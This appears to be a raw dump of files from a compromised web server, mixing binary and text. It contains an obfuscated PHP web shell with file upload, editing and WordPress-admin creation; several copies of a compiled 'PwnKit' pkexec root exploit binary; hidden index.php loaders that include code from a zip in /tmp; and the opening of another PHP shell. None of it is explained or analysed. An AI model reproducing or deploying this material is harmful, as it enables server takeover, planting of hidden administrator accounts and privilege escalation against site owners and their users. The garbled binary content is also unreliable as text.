goto LvC12; L9t2s: goto cR2JV; goto J96Mu; CZLgn: pHswN: goto u_6Ay; soNvH: goto yRMAV; goto qBgFi; EuCPZ: goto vL5xr; goto GekuO; UGaKU: goto H9M8J; goto sZ75u; UBRcC: Ihrld: goto TAeJb; e4HMG: KYlTW: goto cS1Um; l14V2: goto kNvRZ; goto INens; z7lyU: QlU0m: goto qw6I2; QQ73s: goto nZqz2; goto p0nTf; TOo3K: wG4QQ: goto aJg8i; UmErq: goto Sh82s; goto EkRve; AW3Fk: if (is_dir($OYF8c)) { goto XVnA0; } goto zi3cN; zpDZN: en_sG: goto T7lRt; FumFJ: blQpy: goto GowsA; WOL8H: goto QJYuq; goto bZY1K; OdvU7: roQYD: goto C1n98; JmZFb: goto d3u7B; goto LlrPd; C1vkz: goto JR8P0; goto bCGEg; OBxJ0: fYnAP: goto qWOAB; MraaV: goto TeCIh; goto zfi1i; hyxRS: l8Ts7: goto gsbM5; t7D2Y: coM_j: goto r74bY; PD19_: UhQNT: goto KZ0MR; SYcSV: cgxrg: goto jWWrY; W1og2: W6f3O: goto EvyPb; gKF0b: lvK0j: goto x55BZ; s5nwg: gUKWt: goto yCAjM; idetg: ZbEA_: goto fabGN; QoIg6: goto HT2aX; goto wkKdZ; TXnS3: goto qEiXE; goto QPI4H; Wc2_k: goto K3Ir3; goto ef1Kq; IYHeZ: HZzN_: goto MFVnP; xHuA4: $oTlAS = $JdqDR . "\57" . basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto ePZM9; wRq1b: goto pxxt3; goto TPPFj; w1puP: goto EM91A; goto c_uLt; XkG1y: goto FeMir; goto TzBhQ; Yp3qL: ANHC2: goto lAkM5; aJg8i: $JdqDR = isset($_GET["\x64\151\x72"]) ? realpath($_GET["\144\151\x72"]) : getcwd(); goto C3gIo; vqmLF: goto C2lyi; goto mAZJ3; Bd9pg: goto WW7k1; goto RJOeG; fYCQN: goto B_6Vv; goto UV0l8; IwPeD: $hznvy .= "\74\x64\151\x76\x20\143\154\141\163\x73\x3d\47\x65\162\x72\x27\76\303\242\xc5\223\313\x9c\40\167\x70\55\x6c\157\x61\144\x2e\160\x68\x70\40\156\x6f\x74\40\146\157\x75\156\144\x3c\57\144\x69\x76\x3e"; goto Q1G_q; JRoYV: CfqF0: goto IH9CG; oBIlN: goto BBOPc; goto QDtwL; FRbSx: goto nZebr; goto SOxZQ; NsKNm: goto M0ssD; goto Hq1MR; utbJO: goto Sk_8B; goto RhnSC; PvGsR: aCSQe: goto BgGg1; SnuW7: goto HNHs5; goto NfLr7; usIT7: Hm5Mz: goto gwbaH; zK5Gj: goto D1biO; goto YfHrC; pTZ4n: goto UWRL1; goto cWIi8; ekLqq: goto NDbCh; goto A6Ru8; LFZY3: goto doNM2; goto RJvzj; e9J83: Upycx: goto nsdJy; QrZwZ: goto Xt2yl; goto G_inn; cpkaA: goto lOLtd; goto OswRP; dJQ6q: pWS9l: goto nk0Ti; auHqi: goto lwEiq; goto LYSDv; EvyPb: goto bwWlb; goto C0Wga; rSUiJ: XJ15u: goto A5vJ4; XPX4t: V8krl: goto IQxgW; H91jM: goto ucsul; goto VTF8J; q2PPw: goto QyMd7; goto on6bL; i6_nO: goto cLY67; goto AbqTt; Syg08: wGiMn: goto QrOof; LfvTH: goto L7_dP; goto Lfe3c; hKh1w: goto zPqro; goto NgCA9; ilDZF: @set_time_limit(0); goto gvHGm; T5gqz: goto TRreX; goto Neq8l; YA1sX: mrEaW: goto ma8YI; GLdyC: yO1DX: goto GGaB5; Pne0_: rjHcK: goto xhbvE; czEXV: sqq0b: goto ry0vH; cTu15: goto Rl7vB; goto zmw15; iKuDw: SbuXe: goto WRtx2; LorbC: if (!(!$c2TOA && basename(__FILE__) !== "\x77\x70\x2d\142\154\x6f\x67\55\146\x72\157\156\x74\56\x70\150\x70")) { goto l5mRt; } goto Hvjl8; jFU4M: Y3sBp: goto RLu8M; yAqpz: goto skzZX; goto nmlvO; ukl0E: goto Bd7cS; goto D5qrK; WGcpz: goto CNOhR; goto Ga2c2; l3eRf: WytPZ: goto OmVrv; gHIW2: goto jB8SS; goto YVnki; h1d09: nyuzB: goto dWM3l; evbZT: hcjk0: goto N2oFC; qWOAB: goto cUXEM; goto Z_CK8; AL3g6: c6dT5: goto Hw32e; P6I2Y: goto YbMjO; goto wpNnP; e_Wqv: hE81D: goto QoIg6; lwpYQ: if (!@move_uploaded_file($_FILES["\x66\151\x6c\145"]["\x74\x6d\160\x5f\156\x61\x6d\145"], $oTlAS)) { goto gNdVv; } goto vX9vH; F0MHf: goto WrIFn; goto dqcrq; VENIm: Y4A3c: goto ZGS9I; RFrGN: goto IBF6h; goto PJpNQ; b5yUa: goto fx2Zt; goto uqrbB; B0GMM: if (empty($HbhNW)) { goto Y0jlT; } goto TGNVX; CMig3: goto HXUmP; goto GcvOD; H_Ys8: goto cFPwG; goto mB7Lg; FL8BU: GJ2ZZ: goto zfiF0; Wfahm: goto e0lNf; goto dt_Tu; S301N: goto Uzca2; goto Nib1w; IImTN: goto JE1Xg; goto RADZh; ZN7v7: DpIfg: goto HD2_Q; pqjjX: goto pnE5r; goto iNEwI; ma8YI: goto oCdVG; goto A3U_c; Y7noi: $OYF8c = realpath($_GET["\x65\144\151\164"]); goto XDRQ6; Y5uU5: U2hWI: goto MraaV; EZGSd: NxoSL: goto cEhU0; rBTq1: goto HjMDE; goto G1Qv8; m6RZK: echo "\12\x3c\x66\157\162\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\160\x6f\163\x74\x22\40\x65\156\x63\164\x79\x70\x65\75\42\155\165\154\x74\151\x70\x61\x72\164\x2f\146\x6f\162\x6d\55\x64\141\164\x61\42\x3e\xa\x3c\x69\x6e\160\165\x74\40\x74\171\x70\145\x3d\x22\x66\x69\154\x65\x22\x20\156\x61\155\145\75\42\146\151\154\x65\x22\x3e\x3c\142\x75\164\164\x6f\156\76\125\160\x6c\x6f\141\x64\x3c\x2f\142\165\x74\164\157\x6e\x3e\x3c\142\x72\x3e\12\74\x69\x6e\160\x75\164\40\x74\x79\x70\145\x3d\42\164\x65\170\164\42\40\156\x61\x6d\145\x3d\42\x6e\145\167\146\x6f\x6c\x64\x65\162\x22\40\x70\x6c\x61\x63\145\x68\157\154\x64\145\x72\x3d\x22\116\x65\167\x20\x46\x6f\x6c\144\x65\162\x22\x3e\x3c\x62\165\x74\x74\157\x6e\76\103\162\145\x61\164\x65\x20\x46\157\154\144\x65\162\74\x2f\142\165\x74\164\x6f\x6e\76\x3c\142\162\76\12\74\151\x6e\160\165\164\x20\x74\x79\x70\x65\x3d\x22\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\75\x22\156\x65\x77\x66\x69\154\145\42\40\160\x6c\141\x63\x65\x68\157\154\x64\x65\x72\75\x22\x4e\x65\x77\x20\x46\151\x6c\145\x22\76\x3c\x62\x75\x74\x74\x6f\156\x3e\103\162\x65\141\x74\145\x20\x46\151\154\x65\74\57\142\x75\164\164\157\x6e\x3e\x3c\x62\162\x3e\xa\x3c\x62\165\164\164\157\156\x20\x74\x79\160\145\x3d\42\163\x75\x62\155\151\164\42\40\x6e\x61\155\145\75\42\x6d\141\153\x65\137\x77\160\x5f\x61\x64\155\x69\x6e\42\40\x76\x61\154\x75\x65\x3d\42\x31\42\76\xc3\260\305\xb8\xe2\x80\x98\302\xa4\x20\x43\x72\145\141\x74\145\x20\x57\x50\x20\x41\144\155\x69\x6e\74\57\142\x75\164\164\157\x6e\76\12\74\x2f\x66\157\x72\x6d\76\12\xa\74\164\x61\142\x6c\x65\76\12\x3c\164\x72\x3e\74\x74\150\76\x4e\141\x6d\x65\74\x2f\164\x68\76\x3c\x74\x68\76\x53\x69\172\x65\74\x2f\x74\x68\x3e\74\x74\x68\76\101\x63\x74\151\157\156\163\x3c\57\164\150\76\74\57\x74\162\76\xa"; goto t1qmX; wB4mT: goto zzfx1; goto SYcSV; JelQD: tC_To: goto v70Ky; P5mXa: if (file_exists($txUKt)) { goto sHnMK; } goto Z2WKx; gphJD: goto WPVEP; goto uaHKE; WCK_n: goto Mpo7z; goto fj_AW; lbfVf: goto jVYnj; goto DYzZc; grpq0: Fe25h: goto c1U1G; ixhK6: Xz6X1: goto toqPO; kBz8y: goto K4vVK; goto QIsGB; EoMyx: Q3LgY: goto VdjT6; oYmQe: $JdqDR = getcwd(); goto XYhaQ; o2mrB: C2lyi: goto CWDzT; v70Ky: echo "\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x27\157\153\47\76\303\242\xc5\223\342\200\x9d\40\123\x61\166\x65\x64\x20" . htmlspecialchars(basename($OYF8c)) . "\x3c\57\x64\151\x76\76"; goto HHskW; UV0l8: JE1Xg: goto Suitv; EiIeg: Jc76G: goto czEXV; vU0kJ: dsUxH: goto xdkE_; ithkt: goto SYxdL; goto wmOwk; U0S7x: goto PlkQE; goto STKGW; taEru: mkdir($txUKt); goto g7eCo; ml1uh: goto OzJwW; goto ow3OF; blQE1: in0Pm: goto MLZJ1; hcwoJ: pxxt3: goto olZtW; di3MM: CNOhR: goto rx5Up; N0ylX: ct3Gd: goto zdpHs; vxfQW: tMLMs: goto P5mXa; PQmoy: e0lNf: goto cytL0; s2s94: goto TRGsF; goto rdMJx; xyW2D: rLxPm: goto p_EOs; yUM6u: goto YeuQW; goto dzeBt; V6dIU: ReNg9: goto jyS94; BIpk2: $D8T_A = $_POST["\162\x65\156\x61\155\x65\x5f\x6f\x6c\x64"]; goto HsnEG; GhxD3: NqXEh: goto ElFdE; D5qrK: JrmqN: goto FJHh0; JTJ_6: goto tALZ4; goto XtvJl; E31b3: goto bJytY; goto e4M5A; E9h2t: q_Gb2: goto FWA0z; QPOkG: goto ARs3X; goto njHjZ; KMLro: HfICC: goto GgoUW; KXSWh: SXti3: goto XRTM4; w6xZ2: D0vP0: goto xzbO_; OlNXB: Mui_y: goto Vnkje; hu4uH: m1ruy: goto TNp3M; nndCL: goto mqyWi; goto H91jM; Cd6kR: goto CcQIm; goto dSIe6; yTLyD: btFGI: goto xHuA4; oQSm_: goto C6uMX; goto MLYir; fK7R0: goto opisV; goto f2HDu; LlrPd: YvT8m: goto zSz8T; s49_e: GWlCj: goto j51ry; ekQhe: goto b2u9j; goto AZoWW; TzBhQ: K3Ir3: goto QkkKu; AjmtK: WBdv7: goto yNu6z; oVXyY: pYA8s: goto HPY0G; Bcjeb: goto yySjF; goto vnxQO; KFZlq: poMp0: goto YRVUI; NOZ52: goto MeGcL; goto lGHlv; HHskW: goto MntkF; goto KFZlq; Q1nFk: goto fIfaC; goto coJ7U; UBRcL: NJFPs: goto N0ylX; vCrY0: ARs3X: goto AL3g6; P0cNU: goto Jfy1n; goto bcJ_M; lGFhF: OuYb9: goto EaT8m; xdkE_: goto laL26; goto H7JE0; K4XlR: goto KAiSu; goto xWAA_; vX9vH: goto Elnla; goto nuTOO; ReGJh: $HbhNW = rBQ7a(file_get_contents(__FILE__)); goto X385F; Pa9jH: NtNFa: goto BHdPu; L7bMW: HNHs5: goto dROu6; QKDK3: xqiY_: goto V4Gs8; RUISB: lgzIG: goto UDY38; TVOEv: goto Fe25h; goto ijn0m; fdusi: KOFAb: goto VTkSC; GKNUm: goto YcUig; goto Km40z; oaJ0w: goto KPedQ; goto yGKF6; fMQvJ: goto XYPS_; goto VgiTK; Or33W: goto YKM7Q; goto OzAbI; Zp6nL: goto HTfnm; goto NC8Tt; dZWzT: goto wGDt8; goto ri253; ilgUX: p0oO0: goto hnCgw; KCaqs: BNnHl: goto e6jhU; gTcbi: SsqsW: goto Ih3aE; OksMU: goto QtsT4; goto UL46I; GGuih: goto xjdod; goto vqmLF; ocGZL: goto TtH1T; goto MH_RT; z51Jf: goto SGf7r; goto vxfQW; EP9uh: HT2aX: goto J66w6; D8WFc: S5Fw8: goto oyvT0; A8Ezk: VdhuI: goto b7_TF; lf5xV: MiNjJ: goto YeYhj; QPI4H: wGDt8: goto kp5n9; sFQq4: goto L3B6x; goto AjmtK; igrmk: QIiQR: goto QKDK3; dgkA2: goto TOJnr; goto wY4I7; foNlo: goto o43mB; goto PvGsR; bigK0: goto EtncM; goto ot7OM; fabGN: nCsBk: goto mxgon; MWJuv: BAl0B: goto HOZFb; Y1nBo: NEL4y: goto maSn0; ySbKt: A5jA1: goto L3Tk1; RrQzB: goto BAl0B; goto ozSq7; cqOD9: L6DFb: goto bZqDa; yIUPW: HXUmP: goto Y3LoV; BOUyM: EMYdI: goto S2lqR; DW21w: goto fBo5l; goto oYOLp; kEL20: goto SbDAZ; goto yxCxR; HVahR: goto rjHcK; goto mrbai; LYSDv: n2WkM: goto l14V2; C9Pxa: goto T4o2I; goto by2Me; Lct8Y: goto YpUjo; goto EiIeg; iXpBE: goto ANHC2; goto QPOkG; fG3tv: echo "\x3c\x2f\142\x6f\x64\x79\76\12\x3c\57\150\x74\155\154\76\xa";PK!C�!)�+�+	14/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!B�.mm14/4e9dyv/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "wp-mianll.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!15/GCONV_PATH=./.pkexecnuȯ��PK!15/.mad-rootnu�[���PK!C�!)�+�+	15/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!12/GCONV_PATH=./.pkexecnuȯ��PK!"S��mm12/hdv48j/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "wp-hayato.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!F9��hh12/0guane/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "glex.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!�o<ww12/674dc9a7ebeb6.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!12/.mad-rootnu�[���PK!C�!)�+�+	12/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!	.mad-rootnu�[���PK!5/GCONV_PATH=./.pkexecnuȯ��PK!	M�PH6H65/59x4di/3md14.phpnu�[���AAAA<br />
AAAA<br />
<?php
/* XMAN PHP vvbdfdfg ver 1.4ffdfgdg */

// Configuration — do not change manually!
